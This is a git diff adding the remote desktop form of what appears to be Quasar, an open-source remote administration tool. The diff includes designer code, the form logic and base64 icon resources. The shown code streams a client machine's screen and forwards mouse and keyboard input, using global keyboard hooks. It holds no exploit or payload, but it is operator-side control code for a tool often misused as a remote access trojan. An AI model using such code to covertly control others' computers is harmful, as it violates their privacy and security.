7/1Js+//6ejs/1RSzf8EB4//ODW+/4d/5v/JvvL/4t/t/46Q1f9CRMn/SUrJ/5STzf/Sytr/u67j/3lw + 2f8vK63/AwWK/2Vgx//Y1tn/M4zc/yWF3fwwjeT/OIvbswAAAAAAAP8BAAAAAAD//wEAAAAAVbTpGDen + 7vAwrPP/MbHz/imx9v+V1vP/9+zz/9zS+v/n9P//4fz8/6ji8v9hk+r/FxPW/wwM0/8LC9H/GhnM/1uB + 0v+lzuP/2e3w/9nf8P/PweT/5tnb/3at3P8giuH/K4vf/i6L4P83jdvnVZnuDwAAAAAA//8Bf///AgAA + AABDqug5NK7w/TG09f8xuff+Mr36/y+8+f9u1f3/ld/2/8WHh/92d5//IL7//yVb+P8dE/T/IiPu/yIi + 5v8eFNn/Hlfg/xuk9f+EY4r/uXqF/4K+4/9Xp+P/JZHk/yyU5f8skOL+Lo/h/zaQ3/k/kNwsAAAAAAB/ + /wJVqv8DAAAAADeq6E4ztvf/Mbz3/jPB+/80xPz/OMr//yi69v+JdZD/63dn/+htZP9tean/P3j//1ZE + //9FQP//QDj9/0Ip8P81dO7/gXma/+tpXv/ibGH/eGiS/yGU6P8ynej/L5jm/y6U5P4ukuL/M5De/ziJ + 1j8AAAAAVVWqA1Wq/wMAAAAAO67sUja/+/80xPv+Nsn+/znN//8vzP//ibPT///i3P/t+f7/7/T3/+LB + 0P9Zh+L/fYz//2ZP/v9ONP//TmD//2qb2v/qx8n/3+To/9vf4f/rxb//c5fG/y6g7P81oOn/MZrm/jGW + 5P8ykeD/M4nXQQAAAAB/f/8CVaqqAwAAAABNuetCQ8f7/z3N//8/0f/+PNX//0/O+P/v8vb/6uvq/2Fe + Yf9UU1n/4dze/7zL8f9Htvr/V6T//1Cf//9Pvfr/1N/w/9XR0v9QTlL/Ylxd/9zU0P/Rz9f/RqPk/z6r + 7v89pOn+O5/o/zeW4v05i9g1AAAAAH9//wIA//8BAAAAACU3h6Jjzfz/Udj//VDZ/v9C2f//et76//// + //+sqqn/OTQz/zw2Nv+gmJn/+vv//1zO+P9c4///WuD//3HV+v//////lI2N/zYsK/87MCz/qp+d//ft + 6/9psuP/S7b0/0+w7f9Oruz9RJng/xoldJwAAAAAAAD/AQAAAAAUGIFJEBGT/3i67v5x5P//Xt3+/1fg + /v965P3//////+Ph4P+BeHT/eGpm/9zU0f/s/v//Z939/2bf//9j3f//ct3+//n////Uysf/YE5I/2VR + Sv/az8v/8erp/27B7/9dwff/Yrnw/23A8/5Oi87/DQ5x/xsed0IAAAAAAAAAABYZnp4KB7r/ZYvm+5r0 + //9x4P7/dOr//27s/v/R9f7///////Lz9f/s8fL///78/6zp+v9g5f//auX//2nj//9g4P//vur5//// + /P/j4+P/5eXm///59P+62uv/Yc7+/2rG+P9zvvH/h8/3/0VowvsLB4z/FxyClwAAAAAzM5kFFxm30RgT + 0v89Teb9pen//4/u//+S2Oz/acjl/4Py///r5t7///Dk///r2f/R1Mz/Z+X9/2Xo//9o5v//aOX//2Lj + //9s3Pv/3s3C///h0f//28r/1sXD/2XS//9krd3/eLPh/4TM+P+HwvH/KjXG/RgUsv8XGpHKVVVVAyQk + ow4cHMnpKCbk/0M77f6Gufn/ovn//8PY0P+8fXP/Sc/4/4n3/v/v0aX/372R/23k9P9g7P//Zen+/2Xp + //9j5///Y+T+/1nj//9t0+v/6JVo/9qUdf9bzfn/Qavs/9FqWv+dts//jdn//2uQ5v80Ktn+JiPQ/xwc + pOIZGWYKPz+/ECUk1+w3Mu7/Y1Xz/niF+v+V5P7/rvn//+u9nf+gZ2v/Uoy6/2yhyP9v4PL/ZfH//2Tr + //9h7P//Yen//2Do//9d5v//W+H+/1Pk//9r0er/XpDA/0dmpf+wSkv/0puO/4XX//9/vfH/aGfr/1dH + 5/4zLd3/IyCz5hkZfwpmZuUKMjDi40E68/9oXvX+e2z5/3Ka/P+p9f//vfr//+LVvv/lo4X/zKWS/3jm + +P9u8P//Ze3//2Ds//9c6///Wej//1fm//9W4/7/VuH//2zY9P/NkHz/2IBp/7+xrv+M2f7/idH4/2h9 + 7/90YPH/XFDq/T004v8sJ8DbHx9/CP///wQ+O+jNPTf2/1xS9PtqX/j9V0r2/neW9/7L///+uP///a7/ + //2c+///gvL//3Hv//9o7v//X+3//1rq//9W6P//Vef//1bk//9a4f//ZeD//3Xk//985P/9i+b//avk + /P5mfu7+Vkbv/mRX8P1SR+n7PjTj/zItwcZ/fwACAAAAAEBA5649Nvz/VUb8/FVH+/9KPvP/Nyvp/3F/ + 7v/K8v//xf7//6Ty/f6K8P/7du7//mrt//5i7P//W+v//1fo//9X5v//W+T//mPi//1u4P38gd///qbs + //+23f7/Z3Do/zcr4v9IO+z/UEHz/00/8/w9M+f/NS6+pgAAAAAAAAAAbGrrhGBT7/9uWvDCbFvwzFxO + 6uBJPt/oMyPW5Ghm4cjQ9P3Eyfr//rz///+a9v//gu///3Dr//5m6f78Yef+/GXk//5y5v//h+r//6f1 + //+37P39xub8wmxm4co2KdLlRTjX6E8/3+BcS+TMcl7uxF1P5f9QQ8l8AAAAAAAAAADYzP8U07j/HQAA + AAD///8E////CsSw6w2/v+kMf3//BP///wLd9/9E0vj/oMn0/eO89P/9s/n//6z7//+p+f//rPP//7Tv + /vzA7/7gzPD/m97y/j8AAAAAmZn/BdSq/wywnOsN/8z/Cv///wMAAAAAxbT/H7ib/xIAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////DOb1/zPe+f9X3Pr/Z978 + /2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/ + /wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af// + /wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA + AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8= + + + \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs b/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs new file mode 100644 index 0000000..96b8ffe --- /dev/null +++ b/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs @@ -0,0 +1,240 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmRemoteDesktop + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRemoteDesktop)); + this.btnStart = new System.Windows.Forms.Button(); + this.btnStop = new System.Windows.Forms.Button(); + this.barQuality = new System.Windows.Forms.TrackBar(); + this.lblQuality = new System.Windows.Forms.Label(); + this.lblQualityShow = new System.Windows.Forms.Label(); + this.btnMouse = new System.Windows.Forms.Button(); + this.panelTop = new System.Windows.Forms.Panel(); + this.btnKeyboard = new System.Windows.Forms.Button(); + this.cbMonitors = new System.Windows.Forms.ComboBox(); + this.btnHide = new System.Windows.Forms.Button(); + this.btnShow = new System.Windows.Forms.Button(); + this.toolTipButtons = new System.Windows.Forms.ToolTip(this.components); + this.picDesktop = new RapidPictureBox(); + ((System.ComponentModel.ISupportInitialize)(this.barQuality)).BeginInit(); + this.panelTop.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.picDesktop)).BeginInit(); + this.SuspendLayout(); + // + // btnStart + // + this.btnStart.Location = new System.Drawing.Point(15, 5); + this.btnStart.Name = "btnStart"; + this.btnStart.Size = new System.Drawing.Size(68, 23); + this.btnStart.TabIndex = 1; + this.btnStart.TabStop = false; + this.btnStart.Text = "Start"; + this.btnStart.UseVisualStyleBackColor = true; + this.btnStart.Click += new System.EventHandler(this.btnStart_Click); + // + // btnStop + // + this.btnStop.Enabled = false; + this.btnStop.Location = new System.Drawing.Point(96, 5); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(68, 23); + this.btnStop.TabIndex = 2; + this.btnStop.TabStop = false; + this.btnStop.Text = "Stop"; + this.btnStop.UseVisualStyleBackColor = true; + this.btnStop.Click += new System.EventHandler(this.btnStop_Click); + // + // barQuality + // + this.barQuality.Location = new System.Drawing.Point(206, -1); + this.barQuality.Maximum = 100; + this.barQuality.Minimum = 1; + this.barQuality.Name = "barQuality"; + this.barQuality.Size = new System.Drawing.Size(76, 45); + this.barQuality.TabIndex = 3; + this.barQuality.TabStop = false; + this.barQuality.Value = 75; + this.barQuality.Scroll += new System.EventHandler(this.barQuality_Scroll); + // + // lblQuality + // + this.lblQuality.AutoSize = true; + this.lblQuality.Location = new System.Drawing.Point(167, 5); + this.lblQuality.Name = "lblQuality"; + this.lblQuality.Size = new System.Drawing.Size(46, 13); + this.lblQuality.TabIndex = 4; + this.lblQuality.Text = "Quality:"; + // + // lblQualityShow + // + this.lblQualityShow.AutoSize = true; + this.lblQualityShow.Location = new System.Drawing.Point(220, 26); + this.lblQualityShow.Name = "lblQualityShow"; + this.lblQualityShow.Size = new System.Drawing.Size(52, 13); + this.lblQualityShow.TabIndex = 5; + this.lblQualityShow.Text = "75 (high)"; + // + // btnMouse + // + this.btnMouse.Image = global::Quasar.Server.Properties.Resources.mouse_delete; + this.btnMouse.Location = new System.Drawing.Point(302, 5); + this.btnMouse.Name = "btnMouse"; + this.btnMouse.Size = new System.Drawing.Size(28, 28); + this.btnMouse.TabIndex = 6; + this.btnMouse.TabStop = false; + this.toolTipButtons.SetToolTip(this.btnMouse, "Enable mouse input."); + this.btnMouse.UseVisualStyleBackColor = true; + this.btnMouse.Click += new System.EventHandler(this.btnMouse_Click); + // + // panelTop + // + this.panelTop.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panelTop.Controls.Add(this.btnKeyboard); + this.panelTop.Controls.Add(this.cbMonitors); + this.panelTop.Controls.Add(this.btnHide); + this.panelTop.Controls.Add(this.lblQualityShow); + this.panelTop.Controls.Add(this.btnMouse); + this.panelTop.Controls.Add(this.btnStart); + this.panelTop.Controls.Add(this.btnStop); + this.panelTop.Controls.Add(this.lblQuality); + this.panelTop.Controls.Add(this.barQuality); + this.panelTop.Location = new System.Drawing.Point(189, -1); + this.panelTop.Name = "panelTop"; + this.panelTop.Size = new System.Drawing.Size(384, 57); + this.panelTop.TabIndex = 7; + // + // btnKeyboard + // + this.btnKeyboard.Image = global::Quasar.Server.Properties.Resources.keyboard_delete; + this.btnKeyboard.Location = new System.Drawing.Point(336, 5); + this.btnKeyboard.Name = "btnKeyboard"; + this.btnKeyboard.Size = new System.Drawing.Size(28, 28); + this.btnKeyboard.TabIndex = 9; + this.btnKeyboard.TabStop = false; + this.toolTipButtons.SetToolTip(this.btnKeyboard, "Enable keyboard input."); + this.btnKeyboard.UseVisualStyleBackColor = true; + this.btnKeyboard.Click += new System.EventHandler(this.btnKeyboard_Click); + // + // cbMonitors + // + this.cbMonitors.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cbMonitors.FormattingEnabled = true; + this.cbMonitors.Location = new System.Drawing.Point(15, 30); + this.cbMonitors.Name = "cbMonitors"; + this.cbMonitors.Size = new System.Drawing.Size(149, 21); + this.cbMonitors.TabIndex = 8; + this.cbMonitors.TabStop = false; + // + // btnHide + // + this.btnHide.Location = new System.Drawing.Point(170, 37); + this.btnHide.Name = "btnHide"; + this.btnHide.Size = new System.Drawing.Size(54, 19); + this.btnHide.TabIndex = 7; + this.btnHide.TabStop = false; + this.btnHide.Text = "Hide"; + this.btnHide.UseVisualStyleBackColor = true; + this.btnHide.Click += new System.EventHandler(this.btnHide_Click); + // + // btnShow + // + this.btnShow.Location = new System.Drawing.Point(0, 0); + this.btnShow.Name = "btnShow"; + this.btnShow.Size = new System.Drawing.Size(54, 19); + this.btnShow.TabIndex = 8; + this.btnShow.TabStop = false; + this.btnShow.Text = "Show"; + this.btnShow.UseVisualStyleBackColor = true; + this.btnShow.Visible = false; + this.btnShow.Click += new System.EventHandler(this.btnShow_Click); + // + // picDesktop + // + this.picDesktop.BackColor = System.Drawing.Color.Black; + this.picDesktop.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.picDesktop.Cursor = System.Windows.Forms.Cursors.Default; + this.picDesktop.Dock = System.Windows.Forms.DockStyle.Fill; + this.picDesktop.GetImageSafe = null; + this.picDesktop.Location = new System.Drawing.Point(0, 0); + this.picDesktop.Name = "picDesktop"; + this.picDesktop.Running = false; + this.picDesktop.Size = new System.Drawing.Size(784, 562); + this.picDesktop.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.picDesktop.TabIndex = 0; + this.picDesktop.TabStop = false; + this.picDesktop.MouseDown += new System.Windows.Forms.MouseEventHandler(this.picDesktop_MouseDown); + this.picDesktop.MouseMove += new System.Windows.Forms.MouseEventHandler(this.picDesktop_MouseMove); + this.picDesktop.MouseUp += new System.Windows.Forms.MouseEventHandler(this.picDesktop_MouseUp); + // + // FrmRemoteDesktop + // + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(784, 562); + this.Controls.Add(this.btnShow); + this.Controls.Add(this.panelTop); + this.Controls.Add(this.picDesktop); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.KeyPreview = true; + this.MinimumSize = new System.Drawing.Size(640, 480); + this.Name = "FrmRemoteDesktop"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Remote Desktop []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRemoteDesktop_FormClosing); + this.Load += new System.EventHandler(this.FrmRemoteDesktop_Load); + this.Resize += new System.EventHandler(this.FrmRemoteDesktop_Resize); + ((System.ComponentModel.ISupportInitialize)(this.barQuality)).EndInit(); + this.panelTop.ResumeLayout(false); + this.panelTop.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.picDesktop)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Button btnStart; + private System.Windows.Forms.Button btnStop; + private System.Windows.Forms.TrackBar barQuality; + private System.Windows.Forms.Label lblQuality; + private System.Windows.Forms.Label lblQualityShow; + private System.Windows.Forms.Button btnMouse; + private System.Windows.Forms.Panel panelTop; + private System.Windows.Forms.Button btnHide; + private System.Windows.Forms.Button btnShow; + private System.Windows.Forms.ComboBox cbMonitors; + private System.Windows.Forms.Button btnKeyboard; + private System.Windows.Forms.ToolTip toolTipButtons; + private Controls.RapidPictureBox picDesktop; + } +} \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmRemoteDesktop.cs b/Quasar.Server/Forms/FrmRemoteDesktop.cs new file mode 100644 index 0000000..ea3bfaf --- /dev/null +++ b/Quasar.Server/Forms/FrmRemoteDesktop.cs @@ -0,0 +1,475 @@ +using Gma.System.MouseKeyHook; +using Quasar.Common.Enums; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Networking; +using Quasar.Server.Utilities; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmRemoteDesktop : Form + { + /// + /// States whether remote mouse input is enabled. + /// + private bool _enableMouseInput; + + /// + /// States whether remote keyboard input is enabled. + /// + private bool _enableKeyboardInput; + + /// + /// Holds the state of the local keyboard hooks. + /// + private IKeyboardMouseEvents _keyboardHook; + + /// + /// Holds the state of the local mouse hooks. + /// + private IKeyboardMouseEvents _mouseHook; + + /// + /// A list of pressed keys for synchronization between key down & -up events. + /// + private readonly List _keysPressed; + + /// + /// The client which can be used for the remote desktop. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly RemoteDesktopHandler _remoteDesktopHandler; + + /// + /// Holds the opened remote desktop form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new remote desktop form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the remote desktop form. + /// + /// Returns a new remote desktop form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmRemoteDesktop CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmRemoteDesktop r = new FrmRemoteDesktop(client); + r.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, r); + return r; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the remote desktop form. + public FrmRemoteDesktop(Client client) + { + _connectClient = client; + _remoteDesktopHandler = new RemoteDesktopHandler(client); + _keysPressed = new List(); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + /// + /// Registers the remote desktop message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _remoteDesktopHandler.DisplaysChanged += DisplaysChanged; + _remoteDesktopHandler.ProgressChanged += UpdateImage; + MessageHandler.Register(_remoteDesktopHandler); + } + + /// + /// Unregisters the remote desktop message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_remoteDesktopHandler); + _remoteDesktopHandler.DisplaysChanged -= DisplaysChanged; + _remoteDesktopHandler.ProgressChanged -= UpdateImage; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Subscribes to local mouse and keyboard events for remote desktop input. + /// + private void SubscribeEvents() + { + // TODO: Check Hook.GlobalEvents vs Hook.AppEvents below + // TODO: Maybe replace library with .NET events like on Linux + if (PlatformHelper.RunningOnMono) // Mono/Linux + { + this.KeyDown += OnKeyDown; + this.KeyUp += OnKeyUp; + } + else // Windows + { + _keyboardHook = Hook.GlobalEvents(); + _keyboardHook.KeyDown += OnKeyDown; + _keyboardHook.KeyUp += OnKeyUp; + + _mouseHook = Hook.AppEvents(); + _mouseHook.MouseWheel += OnMouseWheelMove; + } + } + + /// + /// Unsubscribes from local mouse and keyboard events. + /// + private void UnsubscribeEvents() + { + if (PlatformHelper.RunningOnMono) // Mono/Linux + { + this.KeyDown -= OnKeyDown; + this.KeyUp -= OnKeyUp; + } + else // Windows + { + if (_keyboardHook != null) + { + _keyboardHook.KeyDown -= OnKeyDown; + _keyboardHook.KeyUp -= OnKeyUp; + _keyboardHook.Dispose(); + } + if (_mouseHook != null) + { + _mouseHook.MouseWheel -= OnMouseWheelMove; + _mouseHook.Dispose(); + } + } + } + + /// + /// Starts the remote desktop stream and begin to receive desktop frames. + /// + private void StartStream() + { + ToggleConfigurationControls(true); + + picDesktop.Start(); + // Subscribe to the new frame counter. + picDesktop.SetFrameUpdatedEvent(frameCounter_FrameUpdated); + + this.ActiveControl = picDesktop; + + _remoteDesktopHandler.BeginReceiveFrames(barQuality.Value, cbMonitors.SelectedIndex); + } + + /// + /// Stops the remote desktop stream. + /// + private void StopStream() + { + ToggleConfigurationControls(false); + + picDesktop.Stop(); + // Unsubscribe from the frame counter. It will be re-created when starting again. + picDesktop.UnsetFrameUpdatedEvent(frameCounter_FrameUpdated); + + this.ActiveControl = picDesktop; + + _remoteDesktopHandler.EndReceiveFrames(); + } + + /// + /// Toggles the activatability of configuration controls in the status/configuration panel. + /// + /// When set to true the configuration controls get enabled, otherwise they get disabled. + private void ToggleConfigurationControls(bool started) + { + btnStart.Enabled = !started; + btnStop.Enabled = started; + barQuality.Enabled = !started; + cbMonitors.Enabled = !started; + } + + /// + /// Toggles the visibility of the status/configuration panel. + /// + /// Decides if the panel should be visible. + private void TogglePanelVisibility(bool visible) + { + panelTop.Visible = visible; + btnShow.Visible = !visible; + this.ActiveControl = picDesktop; + } + + /// + /// Called whenever the remote displays changed. + /// + /// The message handler which raised the event. + /// The currently available displays. + private void DisplaysChanged(object sender, int displays) + { + cbMonitors.Items.Clear(); + for (int i = 0; i < displays; i++) + cbMonitors.Items.Add($"Display {i + 1}"); + cbMonitors.SelectedIndex = 0; + } + + /// + /// Updates the current desktop image by drawing it to the desktop picturebox. + /// + /// The message handler which raised the event. + /// The new desktop image to draw. + private void UpdateImage(object sender, Bitmap bmp) + { + picDesktop.UpdateImage(bmp, false); + } + + private void FrmRemoteDesktop_Load(object sender, EventArgs e) + { + this.Text = WindowHelper.GetWindowTitle("Remote Desktop", _connectClient); + + OnResize(EventArgs.Empty); // trigger resize event to align controls + + _remoteDesktopHandler.RefreshDisplays(); + } + + /// + /// Updates the title with the current frames per second. + /// + /// The new frames per second. + private void frameCounter_FrameUpdated(FrameUpdatedEventArgs e) + { + this.Text = string.Format("{0} - FPS: {1}", WindowHelper.GetWindowTitle("Remote Desktop", _connectClient), e.CurrentFramesPerSecond.ToString("0.00")); + } + + private void FrmRemoteDesktop_FormClosing(object sender, FormClosingEventArgs e) + { + // all cleanup logic goes here + UnsubscribeEvents(); + if (_remoteDesktopHandler.IsStarted) StopStream(); + UnregisterMessageHandler(); + _remoteDesktopHandler.Dispose(); + picDesktop.Image?.Dispose(); + } + + private void FrmRemoteDesktop_Resize(object sender, EventArgs e) + { + if (WindowState == FormWindowState.Minimized) + return; + + _remoteDesktopHandler.LocalResolution = picDesktop.Size; + panelTop.Left = (this.Width - panelTop.Width) / 2; + btnShow.Left = (this.Width - btnShow.Width) / 2; + btnHide.Left = (panelTop.Width - btnHide.Width) / 2; + } + + private void btnStart_Click(object sender, EventArgs e) + { + if (cbMonitors.Items.Count == 0) + { + MessageBox.Show("No remote display detected.\nPlease wait till the client sends a list with available displays.", + "Starting failed", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + SubscribeEvents(); + StartStream(); + } + + private void btnStop_Click(object sender, EventArgs e) + { + UnsubscribeEvents(); + StopStream(); + } + + #region Remote Desktop Input + + private void picDesktop_MouseDown(object sender, MouseEventArgs e) + { + if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus) + { + MouseAction action = MouseAction.None; + + if (e.Button == MouseButtons.Left) + action = MouseAction.LeftDown; + if (e.Button == MouseButtons.Right) + action = MouseAction.RightDown; + + int selectedDisplayIndex = cbMonitors.SelectedIndex; + + _remoteDesktopHandler.SendMouseEvent(action, true, e.X, e.Y, selectedDisplayIndex); + } + } + + private void picDesktop_MouseUp(object sender, MouseEventArgs e) + { + if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus) + { + MouseAction action = MouseAction.None; + + if (e.Button == MouseButtons.Left) + action = MouseAction.LeftUp; + if (e.Button == MouseButtons.Right) + action = MouseAction.RightUp; + + int selectedDisplayIndex = cbMonitors.SelectedIndex; + + _remoteDesktopHandler.SendMouseEvent(action, false, e.X, e.Y, selectedDisplayIndex); + } + } + + private void picDesktop_MouseMove(object sender, MouseEventArgs e) + { + if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus) + { + int selectedDisplayIndex = cbMonitors.SelectedIndex; + + _remoteDesktopHandler.SendMouseEvent(MouseAction.MoveCursor, false, e.X, e.Y, selectedDisplayIndex); + } + } + + private void OnMouseWheelMove(object sender, MouseEventArgs e) + { + if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus) + { + _remoteDesktopHandler.SendMouseEvent(e.Delta == 120 ? MouseAction.ScrollUp : MouseAction.ScrollDown, + false, 0, 0, cbMonitors.SelectedIndex); + } + } + + private void OnKeyDown(object sender, KeyEventArgs e) + { + if (picDesktop.Image != null && _enableKeyboardInput && this.ContainsFocus) + { + if (!IsLockKey(e.KeyCode)) + e.Handled = true; + + if (_keysPressed.Contains(e.KeyCode)) + return; + + _keysPressed.Add(e.KeyCode); + + _remoteDesktopHandler.SendKeyboardEvent((byte)e.KeyCode, true); + } + } + + private void OnKeyUp(object sender, KeyEventArgs e) + { + if (picDesktop.Image != null && _enableKeyboardInput && this.ContainsFocus) + { + if (!IsLockKey(e.KeyCode)) + e.Handled = true; + + _keysPressed.Remove(e.KeyCode); + + _remoteDesktopHandler.SendKeyboardEvent((byte)e.KeyCode, false); + } + } + + private bool IsLockKey(Keys key) + { + return ((key & Keys.CapsLock) == Keys.CapsLock) + || ((key & Keys.NumLock) == Keys.NumLock) + || ((key & Keys.Scroll) == Keys.Scroll); + } + + #endregion + + #region Remote Desktop Configuration + + private void barQuality_Scroll(object sender, EventArgs e) + { + int value = barQuality.Value; + lblQualityShow.Text = value.ToString(); + + if (value < 25) + lblQualityShow.Text += " (low)"; + else if (value >= 85) + lblQualityShow.Text += " (best)"; + else if (value >= 75) + lblQualityShow.Text += " (high)"; + else if (value >= 25) + lblQualityShow.Text += " (mid)"; + + this.ActiveControl = picDesktop; + } + + private void btnMouse_Click(object sender, EventArgs e) + { + if (_enableMouseInput) + { + this.picDesktop.Cursor = Cursors.Default; + btnMouse.Image = Properties.Resources.mouse_delete; + toolTipButtons.SetToolTip(btnMouse, "Enable mouse input."); + _enableMouseInput = false; + } + else + { + this.picDesktop.Cursor = Cursors.Hand; + btnMouse.Image = Properties.Resources.mouse_add; + toolTipButtons.SetToolTip(btnMouse, "Disable mouse input."); + _enableMouseInput = true; + } + + this.ActiveControl = picDesktop; + } + + private void btnKeyboard_Click(object sender, EventArgs e) + { + if (_enableKeyboardInput) + { + this.picDesktop.Cursor = Cursors.Default; + btnKeyboard.Image = Properties.Resources.keyboard_delete; + toolTipButtons.SetToolTip(btnKeyboard, "Enable keyboard input."); + _enableKeyboardInput = false; + } + else + { + this.picDesktop.Cursor = Cursors.Hand; + btnKeyboard.Image = Properties.Resources.keyboard_add; + toolTipButtons.SetToolTip(btnKeyboard, "Disable keyboard input."); + _enableKeyboardInput = true; + } + + this.ActiveControl = picDesktop; + } + + #endregion + + private void btnHide_Click(object sender, EventArgs e) + { + TogglePanelVisibility(false); + } + + private void btnShow_Click(object sender, EventArgs e) + { + TogglePanelVisibility(true); + } + } +} diff --git a/Quasar.Server/Forms/FrmRemoteDesktop.resx b/Quasar.Server/Forms/FrmRemoteDesktop.resx new file mode 100644 index 0000000..584031c --- /dev/null +++ b/Quasar.Server/Forms/FrmRemoteDesktop.resx @@ -0,0 +1,200 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/ + /wEAf/8CAH//AgD//wEA//8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8BP7//BH// + /wIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB///8CP7//BAAA/wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/8CVar/AwAA + AAAAAAAAAAAAAG3a/gdOxPUaSLz4Kki2+CpHt/QZVdT/BgAAAAAAAAAAAAAAAFWq/wMAf38CAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AgB/ + /wIAAAAATLLyFD64+WI8vPqoPLv52zm6+PU3uvn5Nrj4+Tez9fQ4r/TYN6rxpTmk7l1Pn+8QAAAAAAB/ + /wIAVaoDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWq + /wMAAAAASLb+Djux9H04tPfoOMH//y/B//4itf//Hq/8/yGt+P8hqvj/HKf4/x+p+v8sr//+M6n5/zKa + 6eQ0lud1RYvQCwAAAABVqqoDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 